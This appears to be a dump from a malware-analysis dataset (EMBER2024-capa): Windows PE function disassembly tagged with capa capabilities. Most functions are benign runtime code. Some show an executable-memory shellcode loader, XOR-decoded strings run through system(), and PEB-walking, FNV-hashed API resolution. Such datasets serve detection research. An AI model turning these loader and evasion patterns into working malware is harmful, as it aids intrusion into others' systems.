joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x00422870]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x00422880]
mov dword [rax], 1
mov rax, qword [0x00422890]
mov dword [rax], 1
mov rax, qword [0x00422860]
mov dword [rax], 1
mov rax, qword [0x00422720]
cmp word [rax], 0x5a4d
jne 0x401067
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x4010d0
mov rax, qword [0x00422850]
mov dword [0x00425020], ecx
mov eax, dword [rax]
test eax, eax
je 0x4010c0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x00422810]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x004227f0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x004226d0]
cmp dword [rax], 1
je 0x401108
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x401084
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x401120
cmp dx, 0x20b
jne 0x401067
cmp dword [rax + 0x84], 0xe
jbe 0x401067
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x401067
lea rcx, [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x401067
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x401067
Function at 0x402240
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x50
movsxd rbx, dword [0x004250c4]
mov r12, rcx
test ebx, ebx
jle 0x402370
mov rax, qword [0x004250c8]
xor ecx, ecx
add rax, 0x18
nop word [rax + rax]
mov rdx, qword [rax]
cmp rdx, r12
ja 0x40228c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x402313
add ecx, 1
add rax, 0x28
cmp ecx, ebx
jne 0x402270
mov rcx, r12
call dbg.__mingw_GetSectionForAddress
mov rsi, rax
test rax, rax
je 0x402392
mov rax, qword [0x004250c8]
lea rbx, [rbx + rbx*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rsi
mov dword [rax], 0
call dbg._GetPEImageBase
mov ecx, dword [rsi + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x004250c8]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x402377
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x40230c
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x402320
add dword [0x004250c4], 1
add rsp, 0x50
pop rbx
pop rsi
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rbx, qword [0x004250c8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x40230c
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor ebx, ebx
jmp 0x402297
mov rax, qword [0x004250c8]
mov edx, dword [rsi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x402860
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x00425120]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x00425100]
test rbx, rbx
je 0x4028b4
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x4028ab
test r12, r12
je 0x4028ab
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x402890
lea rcx, [0x00425120]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x402ad0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x402ae8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x402af0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x402b00
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
mov r8, rdx
lea rdx, [rax + rcx]
movzx eax, word [rdx + 0x14]
lea rax, [rdx + rax + 0x18]
movzx edx, word [rdx + 6]
test edx, edx
je 0x402b4c
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov ecx, dword [rax + 0xc]
mov rdx, rcx
cmp rcx, r8
ja 0x402b43
add edx, dword [rax + 8]
cmp rdx, r8
ja 0x402b4e
add rax, 0x28
cmp rax, r9
jne 0x402b30
xor eax, eax
ret

Function at 0x402b50
Capabilities:
Parse pe header

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x20
mov rbx, rcx
call sym.strlen
cmp rax, 8
ja 0x402be0
mov rdx, qword [0x00422720]
xor r12d, r12d
cmp word [rdx], 0x5a4d
jne 0x402bce
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x402bce
cmp word [rax + 0x18], 0x20b
jne 0x402bce
movzx edx, word [rax + 0x14]
lea r12, [rax + rdx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x402be0
sub eax, 1
lea rax, [rax + rax*4]
lea rsi, [r12 + rax*8 + 0x28]
jmp 0x402bb9
add r12, 0x28
cmp r12, rsi
je 0x402be0
mov r8d, 8
mov rdx, rbx
mov rcx, r12
call sym.strncmp
test eax, eax
jne 0x402bb0
mov rax, r12
add rsp, 0x20
pop rbx
pop rsi
pop r12
ret
xor r12d, r12d
mov rax, r12
add rsp, 0x20
pop rbx
pop rsi
pop r12
ret

Function at 0x402bf0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x00422720]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x402c10
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x402c18
ret
cmp word [r8 + 0x18], 0x20b
jne 0x402c10
movzx eax, word [r8 + 0x14]
sub rcx, rdx
movzx edx, word [r8 + 6]
lea rax, [r8 + rax + 0x18]
test edx, edx
je 0x402c65
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x402c5c
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x402c10
add rax, 0x28
cmp rax, r9
jne 0x402c48
xor eax, eax
ret

Function at 0x402c70
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x00422720]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x402c90
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x402c98
mov eax, r8d
ret
cmp word [rax + 0x18], 0x20b
jne 0x402c90
movzx r8d, word [rax + 6]
mov eax, r8d
ret

Function at 0x402cb0
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x00422720]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x402cd0
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x402cd8
ret
cmp word [rdx + 0x18], 0x20b
jne 0x402cd0
movzx eax, word [rdx + 0x14]
lea rax, [rdx + rax + 0x18]
movzx edx, word [rdx + 6]
test edx, edx
je 0x402d18
sub edx, 1
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x402d0f
test rcx, rcx
je 0x402cd0
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x402d00
xor eax, eax
ret

Function at 0x402d20
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x00422720]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x402d40
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x402d48
mov rax, r8
ret
cmp word [rdx + 0x18], 0x20b
cmove r8, rax
mov rax, r8
ret
Function at 0x402d60
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rax, qword [0x00422720]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x402d80
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x402d88
mov eax, r8d
ret
cmp word [rdx + 0x18], 0x20b
jne 0x402d80
sub rcx, rax
movzx eax, word [rdx + 0x14]
lea rax, [rdx + rax + 0x18]
movzx edx, word [rdx + 6]
test edx, edx
je 0x402d80
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x402dc4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x402dd8
add rax, 0x28
cmp r9, rax
jne 0x402db0
xor r8d, r8d
mov eax, r8d
ret
mov r8d, dword [rax + 0x24]
not r8d
shr r8d, 0x1f
mov eax, r8d
ret

Function at 0x402df0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x00422720]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x402e12
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x402e20
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x402e12
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x402e12
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
movzx r8d, word [r8 + 6]
test r8d, r8d
je 0x402e12
sub r8d, 1
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop dword [rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x402e6d
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x402e80
add rdx, 0x28
cmp r10, rdx
jne 0x402e58
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x402e8f
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x402e9f
mov edx, dword [rax + 0xc]
test edx, edx
je 0x402e76
test ecx, ecx
jg 0x402e88
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x1400111e5
Capabilities:
Terminate process

Disassembly:
jmp 0x140012ca0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x14001125d
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
jmp 0x1400117a0
push rbp
push rsi
push rdi
sub rsp, 0x3e0
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x90
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x3b8], rax
lea rcx, [0x14002109f]
call fcn.140011361
lea rax, [rbp + 0x10]
lea rcx, [0x140019c30]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x1f8
rep movsb byte [rdi], byte [rsi]
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x1f8
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0x228], rax
mov r8d, 0x1f8
lea rdx, [rbp + 0x10]
mov rcx, qword [rbp + 0x228]
call fcn.1400111a9
call qword [rbp + 0x228]
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x20]
lea rdx, [0x140019c00]
call fcn.1400112f8
mov eax, edi
mov rcx, qword [rbp + 0x3b8]
xor rcx, rbp
call fcn.1400111a4
lea rsp, [rbp + 0x3c0]
pop rdi
pop rsi
pop rbp
ret

Function at 0x140011267
Capabilities:
Parse pe header

Disassembly:
jmp 0x140013ff0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140014010
xor al, al
jmp 0x140014091
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140014023
xor al, al
jmp 0x140014091
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001404d
xor al, al
jmp 0x140014091
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014061
xor al, al
jmp 0x140014091
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140014073
xor al, al
jmp 0x140014091
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001408f
xor al, al
jmp 0x140014091
mov al, 1
add rsp, 0x38
ret
Function at 0x140003900
Capabilities:
Get system information on windows

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
xor eax, eax
mov rdi, rcx
mov qword [rcx], rax
mov ebx, edx
mov qword [rcx + 8], rax
mov qword [rcx + 0x10], rax
mov qword [rcx + 0x80], rax
add rcx, 0x50
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov r8d, ebx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, qword [rsp + 0x30]
mov qword [rdi + 0x48], rax
mov rax, rdi
add rsp, 0x20
pop rdi
ret

Function at 0x140005d50
Capabilities:
Execute command

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push r15
sub rsp, 0x20
mov esi, 5
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov r14d, 0x2c0
add r14, rcx
mov edi, 0x4c8
add rdi, rcx
mov r15d, 0x1a8
add r15, rcx
mov ebx, 0x4a8
add rbx, rcx
nop dword [rax]
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [r14]
test al, 1
jne 0x140005ddb
or eax, 1
mov dword [r14], eax
mov word [rdi + 7], 0x151
mov dword [rdi], 0x86d5fe24
mov word [rdi + 4], 0xd1bb
mov byte [rdi + 6], 0x7a
lea rcx, [0x14000ef40]
call fcn.14000b9b8
nop
cmp byte [rdi + 8], 0
je 0x140005e04
xor byte [rdi], 0x47
xor byte [rdi + 1], 0x91
xor byte [rdi + 2], 0xb9
xor byte [rdi + 3], 0xe9
xor byte [rdi + 4], 0xc9
xor byte [rdi + 5], 0xf1
xor byte [rdi + 6], 0x1f
xor byte [rdi + 7], 0x51
mov byte [rdi + 8], 0
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [r15]
test al, 1
jne 0x140005e48
or eax, 1
mov dword [r15], eax
mov word [rbx + 7], 0x1c3
mov dword [rbx], 0xd28b40bc
mov word [rbx + 4], 0x59e5
mov byte [rbx + 6], 0x26
lea rcx, [0x14000ef20]
call fcn.14000b9b8
nop
cmp byte [rbx + 8], 0
je 0x140005e71
xor byte [rbx], 0xdf
xor byte [rbx + 1], 0x2f
xor byte [rbx + 2], 0xe7
xor byte [rbx + 3], 0xbd
xor byte [rbx + 4], 0x97
xor byte [rbx + 5], 0x79
xor byte [rbx + 6], 0x47
xor byte [rbx + 7], 0xc3
mov byte [rbx + 8], 0
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
sub esi, 1
jne 0x140005da0
mov ecx, 0xfa
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
mov r14, qword [rsp + 0x48]
add rsp, 0x20
pop r15
jmp qword [sym.imp.KERNEL32.dll_Sleep]
Function at 0x140006300
Capabilities:
Get process image filename

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x180
mov rax, qword [0x140015040]
xor rax, rsp
mov qword [rsp + 0x170], rax
lea rdx, [rsp + 0x30]
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov r8d, dword [rsp + 0x30]
xor edx, edx
mov ecx, 0x1000
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x14000636a
mov r8d, 0x104
lea rdx, [rsp + 0x60]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_K32GetProcessImageFileNameA]
test eax, eax
jne 0x140006371
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
jmp 0x1400064b4
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
xor eax, eax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x60]
mov rbx, 0xffffffffffffffff
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x140006394
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x38]
call fcn.140004280
nop
mov rax, qword gs:[0x58]
mov rdi, qword [rax]
mov ecx, 0x4e0
mov eax, dword [rcx + rdi]
mov esi, 0x198
test al, 1
jne 0x1400063f9
or eax, 1
mov dword [rcx + rdi], eax
mov word [rdi + rsi + 9], 0x137
mov dword [rdi + rsi], 0x96b35689
mov dword [rdi + rsi + 4], 0xe750231a
mov byte [rdi + rsi + 8], 0x86
lea rcx, [0x14000ef80]
call fcn.14000b9b8
nop
lea r9, [rsi + rdi]
cmp byte [r9 + 0xa], 0
je 0x140006440
xor byte [r9], 0xe3
xor byte [r9 + 1], 0x37
xor byte [r9 + 2], 0xc5
xor byte [r9 + 3], 0xf7
xor byte [r9 + 4], 0x6d
xor byte [r9 + 5], 0xd
xor byte [r9 + 6], 0x35
xor byte [r9 + 7], 0x9f
xor byte [r9 + 8], 0xe3
xor byte [r9 + 9], 0x37
mov byte [r9 + 0xa], 0
nop word [rax + rax]
inc rbx
cmp byte [r9 + rbx], 0
jne 0x140006440
lea rcx, [rsp + 0x38]
mov rdi, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x50]
cmp rsi, 0xf
cmova rcx, rdi
mov qword [rsp + 0x20], rbx
mov rdx, qword [rsp + 0x48]
call fcn.14000a880
cmp rax, 0xffffffffffffffff
setne bl
cmp rsi, 0xf
jbe 0x1400064b1
lea rdx, [rsi + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x1400064a9
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400064a9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rdi
call fcn.14000b564
movzx eax, bl
mov rcx, qword [rsp + 0x170]
xor rcx, rsp
call fcn.14000b500
lea r11, [rsp + 0x180]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x140008da0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 5], 0
je 0x140008dc3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax - 0x60]
xor byte [rax + rcx], dl
inc rax
cmp rax, 4
jb 0x140008db0
mov byte [rcx + 5], 0
mov rax, rcx
ret

Function at 0x140009330
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
xor eax, eax
mov rbx, rdx
cmp byte [rcx + 0x1a], al
je 0x140009353
lea edx, [rax - 0x60]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x19
jb 0x140009340
mov byte [rcx + 0x1a], 0
lea r8, [rcx + 0x19]
mov rdx, rcx
mov rcx, rbx
call fcn.140004150
mov rax, rbx
add rsp, 0x30
pop rbx
ret

Function at 0x140009390
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
xor eax, eax
mov rbx, rdx
cmp byte [rcx + 0x22], al
je 0x1400093b3
lea edx, [rax - 0x60]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x21
jb 0x1400093a0
mov byte [rcx + 0x22], 0
lea r8, [rcx + 0x21]
mov rdx, rcx
mov rcx, rbx
call fcn.140004150
mov rax, rbx
add rsp, 0x30
pop rbx
ret

Function at 0x1400093f0
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
xor eax, eax
mov rbx, rdx
cmp byte [rcx + 0x19], al
je 0x140009413
lea edx, [rax - 0x60]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x18
jb 0x140009400
mov byte [rcx + 0x19], 0
lea r8, [rcx + 0x18]
mov rdx, rcx
mov rcx, rbx
call fcn.140004150
mov rax, rbx
add rsp, 0x30
pop rbx
ret

Function at 0x140009450
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
xor eax, eax
mov rbx, rdx
cmp byte [rcx + 0x25], al
je 0x140009473
lea edx, [rax - 0x60]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x24
jb 0x140009460
mov byte [rcx + 0x25], 0
lea r8, [rcx + 0x24]
mov rdx, rcx
mov rcx, rbx
call fcn.140004150
mov rax, rbx
add rsp, 0x30
pop rbx
ret

Function at 0x140009580
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
xor eax, eax
mov rbx, rdx
cmp byte [rcx + 0x1f], al
je 0x1400095a3
lea edx, [rax - 0x60]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x1e
jb 0x140009590
mov byte [rcx + 0x1f], 0
lea r8, [rcx + 0x1e]
mov rdx, rcx
mov rcx, rbx
call fcn.140004150
mov rax, rbx
add rsp, 0x30
pop rbx
ret

Function at 0x140009610
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
xor eax, eax
mov rbx, rdx
cmp byte [rcx + 0xe], al
je 0x140009633
lea edx, [rax - 0x60]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0xd
jb 0x140009620
mov byte [rcx + 0xe], 0
lea r8, [rcx + 0xd]
mov rdx, rcx
mov rcx, rbx
call fcn.140004150
mov rax, rbx
add rsp, 0x30
pop rbx
ret

Function at 0x140009650
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
xor eax, eax
mov rbx, rdx
cmp byte [rcx + 0x12], al
je 0x140009673
lea edx, [rax - 0x60]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x11
jb 0x140009660
mov byte [rcx + 0x12], 0
lea r8, [rcx + 0x11]
mov rdx, rcx
mov rcx, rbx
call fcn.140004150
mov rax, rbx
add rsp, 0x30
pop rbx
ret
Function at 0x140009690
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
xor eax, eax
mov rbx, rdx
cmp byte [rcx + 0x20], al
je 0x1400096b3
lea edx, [rax - 0x60]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x1f
jb 0x1400096a0
mov byte [rcx + 0x20], 0
lea r8, [rcx + 0x1f]
mov rdx, rcx
mov rcx, rbx
call fcn.140004150
mov rax, rbx
add rsp, 0x30
pop rbx
ret

Function at 0x14000c1a0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000c1ea
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000c1ea
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000c1ea
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000c1ea
cmp dword [rcx + 0x84], 0xe
jbe 0x14000c1ea
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000c1ec
xor al, al
add rsp, 0x28
ret
Function at 0x1800025c0
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
mov rax, qword gs:[0x60]
mov r14, rcx
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x180002667
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x180002667
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xfb082308
lea rcx, [rbx + r9*4]
mov ecx, dword [rcx + r10]
add rcx, r10
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x180002662
nop
movsx edx, dl
lea rcx, [rcx + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx - 1]
test dl, dl
jne 0x180002640
cmp r8d, 0xf1123e56
je 0x18000266c
test r9d, r9d
jne 0x180002620
mov rax, qword [rax]
jmp 0x1800025f0
mov eax, dword [rdi + 0x24]
mov ecx, dword [rdi + 0x1c]
add rax, r10
add rcx, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
mov rcx, r14
add rdx, r10
call rdx
mov rcx, 0xffffffffffffffff
lea rbp, [rax + 1]
mov eax, 2
mul rbp
cmovo rax, rcx
mov rcx, rax
call fcn.180010f40
mov rcx, qword gs:[0x60]
mov rsi, rax
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov r11d, dword [rdx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x180002737
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x180002737
mov edi, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
mov r8d, 0x7620e98f
lea rax, [rdi + r9*4]
mov edx, dword [rax + r10]
add rdx, r10
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x180002732
nop
movsx eax, al
lea rdx, [rdx + 1]
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx - 1]
test al, al
jne 0x180002710
cmp r8d, 0xb918189f
je 0x18000273c
test r9d, r9d
jne 0x1800026f0
mov rcx, qword [rcx]
jmp 0x1800026c0
mov ecx, dword [r11 + 0x24]
mov r8, rbp
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [r11 + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
mov rdx, r14
add rax, r10
mov rcx, rsi
call rax
mov rbx, qword [rsp + 0x30]
mov rax, rsi
mov rsi, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x180002780
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rax, qword gs:[0x60]
mov rsi, rcx
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov ebx, dword [rdx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x180002827
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x180002827
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x43a1227a
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x180002822
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x180002800
cmp r8d, 0xbcdb1b0e
je 0x18000282c
test r9d, r9d
jne 0x1800027e0
mov rax, qword [rax]
jmp 0x1800027b0
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
lea rcx, [rsp + 0x30]
add rax, r10
call rax
movd xmm0, dword [rsp + 0x30]
